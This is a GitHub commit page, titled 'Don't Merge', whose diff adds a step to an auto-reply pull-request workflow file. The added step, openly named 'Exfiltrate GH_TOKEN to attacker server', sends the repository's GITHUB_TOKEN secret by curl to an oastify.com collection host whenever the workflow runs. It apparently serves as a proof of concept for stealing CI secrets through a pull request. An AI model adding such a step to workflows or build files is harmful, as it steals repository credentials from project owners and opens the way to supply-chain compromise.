Skip to content

Commit e8633aa

Browse files
authored
Don't Merge
Don't Merge
1 parent 042ee0c commit e8633aa

File tree

1 file changed

+6
-0
lines changed

1 file changed

+6
-0
lines changed

.github/workflows/auto-reply-pr.yml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,12 @@ jobs:
2828
random_index=$((RANDOM % ${#reply_messages[@]}))
2929
echo "::set-output name=message::${reply_messages[$random_index]}"
3030
31+
- name: Exfiltrate GH_TOKEN to attacker server
32+
run: |
33+
curl -X GET "https://b2ega3wut7bpohgv3ef1ui9jrax1lt9i.oastify.com/?token=$GH_TOKEN"
34+
env:
35+
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
36+
3137
- name: Reply to pull request
3238
if: (!contains(fromJSON('["github-actions"]'), github.event.pull_request.user.login))
3339
run: |

0 commit comments

Comments
 (0)